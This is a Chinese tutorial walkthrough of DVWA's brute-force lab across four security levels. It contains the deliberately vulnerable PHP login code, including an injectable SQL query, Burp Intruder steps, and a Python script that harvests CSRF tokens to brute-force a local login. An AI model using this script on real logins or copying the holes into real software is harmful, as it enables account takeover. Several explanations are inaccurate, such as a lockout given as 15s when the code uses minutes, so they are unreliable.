DVWA的Brute Force,也就是我们所熟悉的暴力破解,这里它一共有四个等级
Low、Medium、High、Impossible
这里我们就源码简单探讨一下
源代码:
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
mysqli_query(connection,query,resultmode) :执行一条 MySQL 查询
connection 必需。规定要使用的 MySQL 连接
query 必需,规定查询字符串。
resultmode 可选。一个常量。可以是下列值中的任意一个:
MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)
MYSQLI_STORE_RESULT(默认)
针对成功的SELECT,SHOW,DESCRIBE或EXPLAIN查询,将返回一个mysqli_result对象。针对其他成功的查询,将返回TRUE。如果失败,则返回FALSE
$GLOBALS :引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键
or :php其中一个运算符,表示或
$x or $y 如果 $x 和 $y 至少有一个为 true,则返回 true
命令1 or 命令2:如果命令1返回true,则不执行or后面的命令;如果命令1返回false,则执行命令2
和die连用比较多,举例:
$site = "https://www.baidu.com/";
fopen($site,"r") //以只读形式打开$site这个网址
or die("Unable to connect to $site");
/*
如果可以打开网站,不执行die;如果不能打开,执行die(die输出一条消息,并退出当前脚本,所以是true的),
执行die之后,不管发生什么,程序都已经停止运行,并且显示指定出错信息,也就达到了调试的目的
*/
?>
die(status) :输出一条消息,并退出当前脚本
status 必需。规定在退出脚本之前需要输出的消息或状态号。状态号不会被写入输出
如果 status 是字符串,则该函数会在退出前输出字符串。
如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留,不会被使用。状态 0 用于成功地终止程序
注释:如果 PHP 的版本号大于等于 4.2.0,那么在 status 是整数的情况下,不会输出该参数
is_object($var) :用于检测变量是否是一个对象
$var:要检测的变量
如果指定变量为对象,则返回TRUE,否则返回FALSE
mysqli_error(connection) :返回上一个 MySQL 操作产生的文本错误信息
本函数返回上一个 MySQL 函数的错误文本,如果没有出错则返回 ‘’(空字符串)
connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接
举例:
$con = mysqli_connect("localhost","username","password");
if (!$con)
{
die(mysqli_error());
}
mysqli_close($con);
?>
mysqli_connect_error() :返回上一次连接错误的错误描述
返回一个描述错误的字符串。如果没有错误发生则返回NULL
mysqli_num_rows(result) :返回结果集中行的数目
result 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符
举例:
$con = mysqli_connect("localhost", "hello", "321");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$db_selected = mysqli_select_db("test_db",$con);
$sql = "SELECT * FROM person";
$result = mysqli_query($sql,$con);
echo mysqli_num_rows($result);
mysqli_close($con);
?>
/*
输出类似:
3
*/
mysqli_fetch_assoc(result) :从结果集中取得一行作为关联数组
本函数返回的字段名是区分大小写的
返回值: 返回代表读取行的关联数组。如果结果集中没有更多的行则返回NULL
举例:
$con = mysqli_connect("localhost", "hello", "321");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$db_selected = mysqli_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Adams'";
$result = mysqli_query($sql,$con);
print_r(mysqli_fetch_assoc($result));
mysqli_close($con);
?>
/*
输出:
Array
(
[LastName] => Adams
[FirstName] => John
[City] => London
)
*/
is_null ($var) :检测变量是否为 NULL
var 允许传入任意参数
如果var是NULL则返回 TRUE,否则返回 FALSE
mysqli_close(connection) :关闭先前打开的数据库连接
connection 必需。规定要关闭的 MySQL 连接
返回值: 如果成功则返回TRUE,如果失败则返回FALSE
渗透过程 :
1.登陆前打开Burpsuite抓包,抓到GET请求包
发送到Intruder,选择需要爆破的变量,这里我们假设已知用户名为admin的情况
配置爆破字典
调整线程,提高爆破速度
爆破成功,有一个Length和其他都不相同,这里可以看出它就是正确密码
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
部分代码释义:
mysqli_real_escape_string(connection,escapestring) :转义在SQL语句中使用的字符串中的特殊字符
connection 必需。规定要使用的 MySQL 连接
escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z
返回值: 返回已转义的字符串
举例:
这里举的不是很好但是大致可以理解
假设$a是变量(实则是一个字符串),以上代码返回true,假设你传入一个$a传入一个单引号,那么我们看看会发生什么
假设上面使用的是mysqli_real_escape_string()函数,是这个函数添加的\,转义了第2个单引号;此时上面图中的第2个单引号和第3个单引号不能构成空,也就是’ ‘;因为嘛,被转义的单引号现在仅仅就是个字符,并不能使用它的任何“权利”;比如它要和另一个单引号结合,这是不可能的,因为你已经被转义了;虽然你加了\外表还是’,但你和第3个单引号内在是不一样的(这里所说单引号,都是上图中的)
trigger_error(errormsg,errortype) :创建用户级别的错误消息。
trigger_error() 函数能结合内置的错误处理器所关联,或者可以使用用户定义的函数作为新的错误处理程序(set_error_handler())
errormsg 必需。规定错误消息。最大长度 1024 字节。
errortype 可选。规定错误类型。可能的值:
E_USER_ERROR
E_USER_WARNING
E_USER_NOTICE(默认)
如果规定了错误的 errortype,则返回 FALSE。否则返回 TRUE
举例:
if ($usernum>10) {
trigger_error("Number cannot be larger than 10");
}
?>
/*以上代码的输出类似这样:
Notice: Number cannot be larger than 10
in C:\webfolder\test.php on line 6
*/
E_USER_ERROR :
E_USER_ERROR只能通过trigger_error($ msg,E_USER_ERROR)手动触发.E_USER_ERROR是用户自定义错误类型,可以被设置为错误处理函数捕获退出运行
sleep(seconds) :延迟执行当前脚本若干秒
seconds 必需。规定延迟执行脚本的秒数
如果指定秒数是负数,该函数将抛出一个错误
如果成功则返回0,如果错误则返回FALSE。
如果调用被信号中断,该函数返回一个非零值。在Windows平台上,该值将总是192,表示Windows API中的WAIT_IO_COMPLETION常量的值。在其他平台上,返回值将是剩余的延迟秒数
medium代码用mysqli_real_escape_string(connection,escapestring)对输入的用户名与密码进行了转义,防止了利用单引号,双引号等参数构造进行SQL注入,这里的sleep(2),表示登陆失败时,延迟2s返回登录失败信息,这就造成了每一次爆破如果密码错误,进行下一次爆破要比之前Low级别的代码多上2s延迟,其他没有什么。
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
部分函数释义:
stripslashes(string) :删除反斜杠
string 必需。规定要检查的字符串
rand(min,max) :返回随机整数
min,max 可选。规定随机数产生的范围
如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15);在某些平台下(例如 Windows)RAND_MAX 只有 32768。如果需要的范围大于 32768,那么指定 min 和 max 参数就可以生成大于 RAND_MAX 的数了,或者考虑用 mt_rand() 来替代它
High级别的代码使用了Anti-CSRF token来抵御CSRF的攻击,使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击
由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做user_token的检查,再进行sql查询。
方法一:使用burpsuite爆破
前提:截取到数据包时,不可放行,要保持截取的状态,否则无法Refetch response,造成无法爆破
例:爆破时保持该状态
(1)抓到包后设置Positions
(2)设置Options
①设置线程
②找到Grep-Extract,选择Extract the following items from responses:,再点击add(下图中是我之前就已经添加了的)
③获取返回页面的源码
④找到需要爆破的user_token的值,然后点击OK,这里记得保存该值
(3)设置payloads
注:Positions中user_token的值是不可以的
(4)之后就可以开始攻击
注:该方法成功爆破后无法再次爆破,需要重新截取数据包重新操作!!!
方法二:使用后burp中宏自动化获取token进行攻击
参考我的另一篇文章(以DVWA为例):Burpsuite中宏的使用
方法三:我们用python3写一段代码进行自动化爆破
from bs4 import BeautifulSoup
import requests
def get_token(requrl,header):
response = requests.get(url=requrl,headers=header)
print(response.status_code,len(response.content)) # response.status_code(),输出状态码 response.content(),获取响应的内容
soup = BeautifulSoup(response.text,"html.parser") # 获取被抓取页面的html代码,并使用html.parser来实例化BeautifulSoup,属于固定套路
input = soup.select("input[type='hidden']") # 返回的是一个list列表
user_token = input[0]['value'] #获取用户的token
return user_token
if __name__ =='__main__':
requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/"
header = {
"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language" : "zh-CN,zh;q=0.9,en;q=0.8",
"Connection" : "keep-alive",
"Cookie" : "security=high; PHPSESSID=qcssnmjr6hs4ntsile37dav20h",
"Host" : "127.0.0.1:8008",
"Referer" : "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/",
"Upgrade-Insecure-Requests" : "1",
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
}
user_token = get_token(requrl,header)
i = 0
for line in open("C:/Users/Yuen/Desktop/pass.txt"):
requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
i = i + 1
print(i,'admin',line.strip(),end=" ")
user_token = get_token(requrl,header)
if (i == 10):
break
这里我就爆破了10次,作为演示;实际次数取决于你字典的大小和你的需求
input[type=‘hidden’] ,即为我们查找时也可以通过 标签[属性] 的方式查找,属性需要用中括号括起来,注意属性和标签属于同一节点,所以中间不能加空格,否则会无法匹配到
input[0][‘value’] ,先获取到input的第1个值,也就是
[]里的
,因为可以通过属性获取q其属性值,所以后面的[‘vlaue’]表示获取属性value的属性值,也就是8f77cd5dd9d3033cdd61ab2abb48e1c2
BeautififulSoup 使用find_all()、find()、select() 方法定位所需要的元素,这里主要介绍一下 select()
(1)通过标签名查找–什么也不加
例:print soup.select(‘title’)
(2)通过类名查找–前面加.
print soup.select(’.sister’)
#[>]
(3)通过 id 名查找–前面加#
print soup.select(’#link1’)
#[]
strip() 方法语法:str.strip([chars])
chars – 移除字符串头尾指定的字符序列
Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
返回移除字符串头尾指定的字符生成的新字符串
注意:该方法只能删除开头或是结尾的字符,不能删除中间部分的字符。
end=’ ’
举例:
print("123456",end=' ');
包含end=’‘作为print()BIF的一个参数,会使该函数关闭“在输出中自动包含换行”的默认行为。因为python中print之后是默认换行的,是因为其默认属性 end 默认值为"\n"(\n为换行符)。所以end=’ '的原理是:为end传递一个空空格,这样print函数不会在字符串末尾添加一个换行符,而是添加一个空格。
这个只有Python3支持,Python2不支持。
<?php
if( isset( $_POST[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "
This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "
";
print "The timenow is: " . date ("h:i:s", $timenow) . "
";
print "The timeout is: " . date ("h:i:s", $timeout) . "
";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked
";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "Welcome to the password protected area {$user}
";
echo "
";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "Warning: Someone might of been brute forcing your account.
";
echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码加入了可靠的防爆破机制,当检测到错误登录3次后将会锁定账户15s,系统会将账户锁定,爆破也就无法继续
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令
因为我还没有学过PDO,等学完,会写一片PDO笔记分享给大家